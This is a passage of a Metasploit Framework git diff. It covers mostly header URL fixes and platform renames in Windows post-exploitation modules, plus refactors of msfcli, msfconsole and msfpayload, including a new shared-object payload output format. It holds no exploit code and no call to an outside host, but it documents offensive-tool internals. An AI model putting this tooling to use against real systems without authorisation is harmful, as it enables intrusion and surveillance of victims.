@@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb index c2b5e8444a..5cc08d1e83 100644 --- a/modules/post/windows/manage/delete_user.rb +++ b/modules/post/windows/manage/delete_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb index bb5cbbb115..b920f64184 100644 --- a/modules/post/windows/manage/download_exec.rb +++ b/modules/post/windows/manage/download_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 7f32ab25fc..76350c2f47 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => 'Borja Merino ', - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index c701131685..523301a440 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb index 21bced57ef..82ff84eb6b 100644 --- a/modules/post/windows/manage/ie_proxypac.rb +++ b/modules/post/windows/manage/ie_proxypac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ], [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ] ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/inject_ca.rb b/modules/post/windows/manage/inject_ca.rb index de52e26ef1..f86f5cdf0d 100644 --- a/modules/post/windows/manage/inject_ca.rb +++ b/modules/post/windows/manage/inject_ca.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/inject_host.rb b/modules/post/windows/manage/inject_host.rb index d60a605c58..0151db3970 100644 --- a/modules/post/windows/manage/inject_host.rb +++ b/modules/post/windows/manage/inject_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index e3cd6ee18a..5dd4e6259d 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 36ff3af1fd..b738866232 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 114fdaee26..58ba395bd1 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index 0fbcfec22d..4ef8b99874 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index f32559170d..8ba2e5a8a9 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 385451e7c3..2fc0584665 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 838c97a0a3..7afb15379d 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 9b370683fd..4f71034b08 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post [ [ 'URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ] ], - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index f38e6fcad6..40ef9b0a86 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index 9ae6d4a5cd..f52eac1e24 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb index 8e7eabe9e9..2a2437d0d2 100644 --- a/modules/post/windows/manage/remove_ca.rb +++ b/modules/post/windows/manage/remove_ca.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/remove_host.rb b/modules/post/windows/manage/remove_host.rb index 353a272263..9f78208ea3 100644 --- a/modules/post/windows/manage/remove_host.rb +++ b/modules/post/windows/manage/remove_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index df88e5b8b1..871e6e55ce 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post PORT will be used depending of the mode configured.}, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 12ed81b5b1..2f64760c2e 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index c6f6d40fbb..a2691cc1d4 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index 2f23dafc5d..9937e09f99 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb index b2cdcb91b4..a377af66a8 100644 --- a/modules/post/windows/manage/vss_create.rb +++ b/modules/post/windows/manage/vss_create.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb index 76ff52defe..35737fb343 100644 --- a/modules/post/windows/manage/vss_list.rb +++ b/modules/post/windows/manage/vss_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb index a3fe7e1cd1..d71fe54b43 100644 --- a/modules/post/windows/manage/vss_mount.rb +++ b/modules/post/windows/manage/vss_mount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb index 0bd7c2535b..c61fd6e128 100644 --- a/modules/post/windows/manage/vss_set_storage.rb +++ b/modules/post/windows/manage/vss_set_storage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb index 0aa7f27799..599902d94c 100644 --- a/modules/post/windows/manage/vss_storage.rb +++ b/modules/post/windows/manage/vss_storage.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb index 88d97b4455..eb156773d4 100644 --- a/modules/post/windows/manage/webcam.rb +++ b/modules/post/windows/manage/webcam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index 676c0e7491..f471166bdb 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/recon/resolve_ip.rb b/modules/post/windows/recon/resolve_ip.rb index 94f23d5b62..4e3028f341 100644 --- a/modules/post/windows/recon/resolve_ip.rb +++ b/modules/post/windows/recon/resolve_ip.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb index 10d19ff9e2..00baa5c710 100644 --- a/modules/post/windows/wlan/wlan_bss_list.rb +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb index 8d59f8cf7b..a34db4f8c2 100644 --- a/modules/post/windows/wlan/wlan_current_connection.rb +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 238cd54cb6..20ef90546a 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index d53469961c..b16b0965e7 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/msfbinscan b/msfbinscan index 72d403ad77..d9fa165167 100755 --- a/msfbinscan +++ b/msfbinscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfcli b/msfcli index ee81c889bc..e67530e713 100755 --- a/msfcli +++ b/msfcli @@ -44,11 +44,12 @@ class Msfcli tbl << ['(H)elp', "You're looking at it baby!"] tbl << ['(S)ummary', 'Show information about this module'] tbl << ['(O)ptions', 'Show available options for this module'] + tbl << ['(M)issing', 'Show empty required options for this module'] tbl << ['(A)dvanced', 'Show available advanced options for this module'] tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] tbl << ['(P)ayloads', 'Show available payloads for this module'] tbl << ['(T)argets', 'Show available targets for this exploit module'] - tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] + tbl << ['(AC)tions', 'Show available actions for this module'] tbl << ['(C)heck', 'Run the check routine of the selected module'] tbl << ['(E)xecute', 'Execute the selected module'] @@ -385,6 +386,15 @@ class Msfcli end + def show_missing(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_options(m[:module], @indent, true)) + $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent, true)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent, true)) if m[:encoder] + $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent, true)) if m[:nop] + end + + def show_advanced(m) readable = Msf::Serializer::ReadableText $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) @@ -418,7 +428,7 @@ class Msfcli def show_actions(m) readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) + $stdout.puts("\n" + readable.dump_module_actions(m[:module], @indent)) end @@ -483,6 +493,8 @@ class Msfcli show_summary(modules) when "o" show_options(modules) + when "m" + show_missing(modules) when "a" show_advanced(modules) when "i" @@ -501,7 +513,7 @@ class Msfcli show_targets(modules) end when "ac" - if modules[:module].file_path =~ /auxiliary\//i + if modules[:module].kind_of?(Msf::Module::HasActions) show_actions(modules) else $stdout.puts("\nError: This type of module does not support actions") @@ -523,7 +535,6 @@ class Msfcli end $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'fastlib' require 'msfenv' require 'msf/ui' require 'msf/base' diff --git a/msfconsole b/msfconsole index 4934fd86e5..a96c91d768 100755 --- a/msfconsole +++ b/msfconsole @@ -1,154 +1,48 @@ #!/usr/bin/env ruby # -*- coding: binary -*- # -# $Id$ -# # This user interface provides users with a command console interface to the # framework. # -# $Revision$ + +# +# Standard Library # -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end +require 'pathname' -@msfbase_dir = File.expand_path(File.dirname(msfbase)) +if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true' + gem 'perftools.rb' + require 'perftools' -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' -require 'msfenv' + formatted_time = Time.now.strftime('%Y%m%d%H%M%S') + root = Pathname.new(__FILE__).parent + profile_pathname = root.join('tmp', 'profiles', 'msfconsole', formatted_time) -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + profile_pathname.parent.mkpath + PerfTools::CpuProfiler.start(profile_pathname.to_path) -require 'optparse' + at_exit { + PerfTools::CpuProfiler.stop -if(RUBY_PLATFORM =~ /mswin32/) - $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" - $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" - $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" -end + puts "Generating pdf" -class OptsConsole - # - # Return a hash describing the options. - # - def self.parse(args) - options = { - 'DeferModuleLoads' => true - } + pdf_path = "#{profile_pathname}.pdf" - opts = OptionParser.new do |opts| - opts.banner = "Usage: msfconsole [options]" + if Bundler.clean_system("pprof.rb --pdf #{profile_pathname} > #{pdf_path}") + puts "PDF saved to #{pdf_path}" - opts.separator "" - opts.separator "Specific options:" - - opts.on("-d", "-d", "Execute the console as defanged") do - options['Defanged'] = true - end - - opts.on("-r", "-r ", "Execute the specified resource file") do |r| - options['Resource'] ||= [] - options['Resource'] << r - end - - opts.on("-o", "-o ", "Output to the specified file") do |o| - options['LocalOutput'] = o - end - - opts.on("-c", "-c ", "Load the specified configuration file") do |c| - options['Config'] = c - end - - opts.on("-m", "-m ", "Specifies an additional module search path") do |m| - options['ModulePath'] = m - end - - opts.on("-p", "-p ", "Load a plugin on startup") do |p| - options['Plugins'] ||= [] - options['Plugins'] << p - end - - opts.on("-y", "--yaml ", "Specify a YAML file containing database settings") do |m| - options['DatabaseYAML'] = m - end - - opts.on("-M", "--migration-path ", "Specify a directory containing additional DB migrations") do |m| - options['DatabaseMigrationPaths'] ||= [] - options['DatabaseMigrationPaths'] << m - end - - opts.on("-e", "--environment ", "Specify the database environment to load from the YAML") do |m| - options['DatabaseEnv'] = m - end - - # Boolean switches - opts.on("-v", "--version", "Show version") do |v| - options['Version'] = true - end - - opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| - options['RealReadline'] = true - end - - opts.on("-n", "--no-database", "Disable database support") do |v| - options['DisableDatabase'] = true - end - - opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| - options['DisableBanner'] = true - end - - opts.on("-x", "-x ", "Execute the specified string as console commands (use ; for multiples)") do |s| - options['XCommands'] ||= [] - options['XCommands'] += s.split(/\s*;\s*/) - end - - opts.separator "" - opts.separator "Common options:" - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end + Rex::Compat.open_file(pdf_path) end - - begin - opts.parse!(args) - rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit - end - - options - end + } end -options = OptsConsole.parse(ARGV) - # -# NOTE: we don't require this until down here since we may not need it -# when processing certain options (currently only -h) -# -require 'rex' -require 'msf/ui' - -# -# Everything below this line requires the framework. +# Project # -if (options['Version']) - $stderr.puts 'Framework Version: ' + Msf::Framework::Version - exit -end +# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 +require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') +require 'metasploit/framework/command/console' -begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - options - ).run -rescue Interrupt -end +Metasploit::Framework::Command::Console.start diff --git a/msfd b/msfd index 1852435cab..8afe16c852 100755 --- a/msfd +++ b/msfd @@ -17,7 +17,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfelfscan b/msfelfscan index 4651b2b6ae..1c91a24975 100755 --- a/msfelfscan +++ b/msfelfscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfencode b/msfencode index 8ecd6a3993..0180b2a080 100755 --- a/msfencode +++ b/msfencode @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfmachscan b/msfmachscan index 9669982207..def3152388 100755 --- a/msfmachscan +++ b/msfmachscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfpayload b/msfpayload index 46e125b7a3..00d114ffda 100755 --- a/msfpayload +++ b/msfpayload @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' @@ -30,7 +29,8 @@ $args = Rex::Parser::Arguments.new( # def usage $stderr.puts("\n" + - " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + + " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|" + + "[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>\n" + $args.usage) exit end @@ -54,9 +54,7 @@ $args.parse(ARGV) { |opt, idx, val| end } -if (cmd != "list" and rest.length < 2) - usage -end +usage if cmd != "list" && rest.length < 2 require 'msf/ui' require 'msf/base' @@ -125,25 +123,24 @@ end payload.datastore.merge! options -if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) - fmt = 'perl' if (cmd =~ /^p$/) - fmt = 'ruby' if (cmd =~ /^y$/) - fmt = 'raw' if (cmd =~ /^(r|x|d)$/) - fmt = 'raw' if (cmd =~ /^v$/) - fmt = 'c' if (cmd =~ /^c$/) - fmt = 'csharp' if (cmd =~ /^h$/) - fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) - fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) - fmt = 'java' if (cmd =~ /^b$/) - fmt = 'raw' if (cmd =~ /^w$/) - fmt = 'python' if (cmd =~ /^n$/) +if cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n|o)$/ + fmt = 'perl' if cmd =~ /^p$/ + fmt = 'ruby' if cmd =~ /^y$/ + fmt = 'raw' if cmd =~ /^(r|x|d|o)$/ + fmt = 'raw' if cmd =~ /^v$/ + fmt = 'c' if cmd =~ /^c$/ + fmt = 'csharp' if cmd =~ /^h$/ + fmt = 'js_be' if cmd =~ /^j$/ && Rex::Arch.endian(payload.arch) == ENDIAN_BIG + fmt = 'js_le' if cmd =~ /^j$/ && !fmt + fmt = 'java' if cmd =~ /^b$/ + fmt = 'raw' if cmd =~ /^w$/ + fmt = 'python' if cmd =~ /^n$/ enc = options['ENCODER'] begin buf = payload.generate_simple( 'Format' => fmt, - 'Options' => options, - 'Encoder' => enc) + 'Options' => options) rescue $stderr.puts "Error generating payload: #{$!}" exit @@ -151,7 +148,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) $stdout.binmode - if (cmd =~ /^x$/) + if cmd =~ /^x$/ note = "Created by msfpayload (http://www.metasploit.com).\n" + "Payload: " + payload.refname + "\n" + @@ -163,11 +160,11 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) + if !exe && plat.index(Msf::Module::Platform::Java) exe = payload.generate_jar.pack end - if(exe) + if exe $stderr.puts(note) $stdout.write(exe) exit(0) @@ -177,7 +174,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exit(-1) end - if(cmd =~ /^v$/) + if cmd =~ /^v$/ exe = Msf::Util::EXE.to_win32pe($framework, buf) note = "'Created by msfpayload (http://www.metasploit.com).\r\n" + @@ -190,7 +187,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exit(0) end - if(cmd =~ /^d$/) + if cmd =~ /^d$/ dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) note = "Created by msfpayload (http://www.metasploit.com).\r\n" + @@ -198,7 +195,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) " Length: " + buf.length.to_s + "\r\n" + "Options: " + options.inspect + "\r\n" - if(dll) + if dll $stderr.puts(note) $stdout.write(dll) exit(0) @@ -208,7 +205,25 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exit(-1) end - if(cmd =~ /^w$/) + if cmd =~ /^o$/ + so = Msf::Util::EXE.to_linux_x64_elf_dll($framework, buf) + note = + "Created by msfpayload (http://www.metasploit.com).\r\n" + + "Payload: " + payload.refname + "\r\n" + + " Length: " + buf.length.to_s + "\r\n" + + "Options: " + options.inspect + "\r\n" + + if so + $stderr.puts(note) + $stdout.write(so) + exit(0) + end + + $stderr.puts "Failed to build dll" + exit(-1) + end + + if cmd =~ /^w$/ note = "Created by msfpayload (http://www.metasploit.com).\n" + "Payload: " + payload.refname + "\n" + @@ -225,8 +240,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exe = Msf::Util::EXE.to_jsp_war(exe) end - - if(exe) + if exe $stderr.puts(note) $stdout.write(exe) exit(0) @@ -238,7 +252,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) $stdout.write(buf) -elsif (cmd =~ /^(s|o)$/) +elsif cmd =~ /^(s|o)$/ payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') puts Msf::Serializer::ReadableText.dump_module(payload) diff --git a/msfpescan b/msfpescan index 4c73c55e17..c674ea727f 100755 --- a/msfpescan +++ b/msfpescan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrop b/msfrop index 6aa9818306..1f0a80e552 100755 --- a/msfrop +++ b/msfrop @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrpc b/msfrpc index 4a791dfc13..7753261230 100755 --- a/msfrpc +++ b/msfrpc @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrpcd b/msfrpcd index 892dd61a63..c7dbc41f1d 100755 --- a/msfrpcd +++ 